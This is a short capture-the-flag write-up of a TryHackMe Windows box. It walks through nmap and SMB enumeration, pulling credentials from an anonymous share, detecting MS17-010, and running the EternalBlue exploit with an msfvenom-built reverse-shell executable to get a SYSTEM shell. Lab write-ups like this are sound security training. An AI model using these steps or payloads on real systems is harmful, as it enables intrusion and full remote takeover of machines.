A medium box from TryHackMe, grabbing creds from an anonymous smb share, then using them with EternalBlue for SYSTEM.


Running nmap on the box

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-28 19:57 EDT  
Nmap scan report for  
Host is up (0.10s latency).  
Not shown: 995 filtered tcp ports (no-response)  
80/tcp   open  http          Microsoft IIS httpd 10.0  
|_http-title: IIS Windows Server  
| http-methods:    
|_  Potentially risky methods: TRACE  
|_http-server-header: Microsoft-IIS/10.0  
135/tcp  open  msrpc         Microsoft Windows RPC  
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn  
445/tcp  open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds  
3389/tcp open  ms-wbt-server Microsoft Terminal Services  
| rdp-ntlm-info:    
|   Target_Name: RELEVANT  
|   NetBIOS_Domain_Name: RELEVANT  
|   NetBIOS_Computer_Name: RELEVANT  
|   DNS_Domain_Name: Relevant  
|   DNS_Computer_Name: Relevant  
|   Product_Version: 10.0.14393  
|_  System_Time: 2022-07-28T23:57:51+00:00  
| ssl-cert: Subject: commonName=Relevant  
| Not valid before: 2022-07-27T23:55:13  
|_Not valid after:  2023-01-26T23:55:13  
|_ssl-date: 2022-07-28T23:58:31+00:00; +1s from scanner time.  
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows  
Host script results:  
| smb2-time:    
|   date: 2022-07-28T23:57:52  
|_  start_date: 2022-07-28T23:55:14  
| smb-security-mode:    
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  
| smb2-security-mode:    
|   3.1.1:    
|_    Message signing enabled but not required  
| smb-os-discovery:    
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)  
|   Computer name: Relevant  
|   NetBIOS computer name: RELEVANT\x00  
|   Workgroup: WORKGROUP\x00  
|_  System time: 2022-07-28T16:57:55-07:00  
|_clock-skew: mean: 1h24m02s, deviation: 3h07m51s, median: 0s

The HTTP server is just a default IIS instance that is not exploitable, lets enumerate SMB

sudo nmap -p 139.445 --script smb-enum*
Host script results:  
| smb-enum-sessions:    
|_  <nobody>  
| smb-enum-shares:    
|   account_used: guest  
|   \\\ADMIN$:    
|     Comment: Remote Admin  
|     Anonymous access: <none>  
|     Current user access: <none>  
|   \\\C$:    
|     Comment: Default share  
|     Anonymous access: <none>  
|     Current user access: <none>  
|   \\\IPC$:    
|     Type: STYPE_IPC_HIDDEN  
|     Comment: Remote IPC  
|     Anonymous access: <none>  
|     Current user access: READ/WRITE  
|   \\\nt4wrksv:    
|     Type: STYPE_DISKTREE  
|     Comment:    
|     Anonymous access: <none>  
|_    Current user access: READ/WRITE

Get into the non-default share with smbclient and anonymous access

smblient \\\\\\nt4wrksv

And download a password.txt file found on it

smb: \> ls  
 .                                   D        0  Thu Jul 28 20:51:47 2022  
 ..                                  D        0  Thu Jul 28 20:51:47 2022  
 passwords.txt                       A       98  Sat Jul 25 11:15:33 2020

Inside, find some base64 creds

![](/Pasted image 20220728205825.png#center)


More smb enumeration, check if the smb version is vulnerable

sudo nmap -p 139,445 --script smb-vuln*

And find that the target is vulnerable to EternalBlue (MS17-010)

Host script results:  
|_smb-vuln-ms10-054: false  
| smb-vuln-ms17-010:    
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)  
|     State: VULNERABLE  
|     IDs:  CVE:CVE-2017-0143  
|     Risk factor: HIGH  
|       A critical remote code execution vulnerability exists in Microsoft SMBv1  
|        servers (ms17-010).  
|     Disclosure date: 2017-03-14  
|     References:  
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/  
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx  
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143  
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)


Using the searchsploit result for EternalBlue

Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Exe | windows/remote/42315.py

Then change the user and the password inside the python file to bob’s credentials

![](/Pasted image 20220728232444.png#center)

Then configure the payload inside of the smb_pwm function to spawn a reverse shell

![](/Pasted image 20220728232540.png#center)

Then create a reverse shell with msfvenom called rshell.exe

msfvenom -p windows/shell_reverse_tcp -f exe LHOST= LHOST=9999 > rshell.exe

Set up a listener on the chosen port

Then run it with

python2 42315.py

And get a system shell!

This exploit took me about 3 hours to use because python3 doesn’t like converting bytes to strings, but its okay I just used python2